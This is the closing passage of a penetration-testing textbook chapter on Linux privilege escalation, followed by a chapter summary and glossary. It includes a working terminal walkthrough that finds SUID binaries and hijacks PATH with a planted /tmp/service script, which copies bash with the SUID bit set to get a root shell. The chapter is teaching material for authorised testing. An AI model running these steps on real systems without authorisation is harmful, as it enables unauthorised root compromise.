# [sudo] password for www-data: (requires password, no NOPASSWD)

www-data@medsecure-portal:~$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/local/bin/health-check
# Custom SUID binary!

# Step 3: Investigate custom binary
www-data@medsecure-portal:~$ strings /usr/local/bin/health-check
...
service apache2 status
curl http://localhost:8080/health
date
...

# 'service', 'curl', 'date' called without full paths!

# Step 4: PATH Hijacking
www-data@medsecure-portal:~$ echo '#!/bin/bash' > /tmp/service
www-data@medsecure-portal:~$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
www-data@medsecure-portal:~$ chmod +x /tmp/service
www-data@medsecure-portal:~$ export PATH=/tmp:$PATH

www-data@medsecure-portal:~$ /usr/local/bin/health-check
# health-check calls 'service' which now runs our malicious version

www-data@medsecure-portal:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

# Step 5: Root achieved! Document and clean up.
rootbash-5.0# cat /root/proof.txt
# Document root access evidence

# Step 6: Cleanup
rootbash-5.0# rm /tmp/service /tmp/rootbash
rootbash-5.0# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Summary

Linux privilege escalation is a systematic discipline that rewards thoroughness and patience. In this chapter, we progressed from understanding the Linux security architecture through enumeration, kernel exploits, SUID/capabilities abuse, cron/PATH hijacking, container escapes, and automated tooling.

The key principles to remember:

  1. Always enumerate first. Rushing to exploit without understanding the system wastes time and risks detection.
  2. Start with the safest vectors. Misconfigurations (SUID, sudo, cron) are safer than kernel exploits.
  3. Use automated tools wisely. LinPEAS and pspy accelerate discovery, but manual analysis is still essential.
  4. Understand the defenses. Knowing SELinux, AppArmor, and seccomp helps you identify what will and will not work.
  5. Container awareness is essential. Modern infrastructure runs in containers, and container escape is a critical skill.
  6. Document everything. Your client needs to know exactly how you escalated, so they can fix it.

In the next chapter, we will apply similar methodologies to Windows systems, where the privilege escalation landscape is equally rich but fundamentally different.


Key Terms

  • SUID/SGID: Special permission bits that allow executables to run with the owner's/group's privileges
  • Capabilities: Granular Linux kernel privileges that can be assigned to binaries
  • GTFOBins: A curated list of Unix binaries that can be exploited for privilege escalation
  • PATH Hijacking: Exploiting unqualified command calls by placing malicious binaries in earlier PATH directories
  • Container Escape: Breaking out of a container's isolation boundary to access the host system
  • Namespace: Linux kernel feature providing process isolation (PID, network, mount, user, UTS, IPC)
  • LinPEAS: Linux Privilege Escalation Awesome Script, an automated enumeration tool
  • pspy: Process monitoring tool that detects running commands without root privileges
  • Dirty COW: CVE-2016-5195, a race condition in the Linux kernel allowing writes to read-only memory
  • Dirty Pipe: CVE-2022-0847, a kernel vulnerability allowing arbitrary file overwrites via pipe operations
  • PwnKit: CVE-2021-4034, a privilege escalation via polkit's pkexec utility
  • MAC (Mandatory Access Control): Security model where access policies are centrally controlled (SELinux, AppArmor)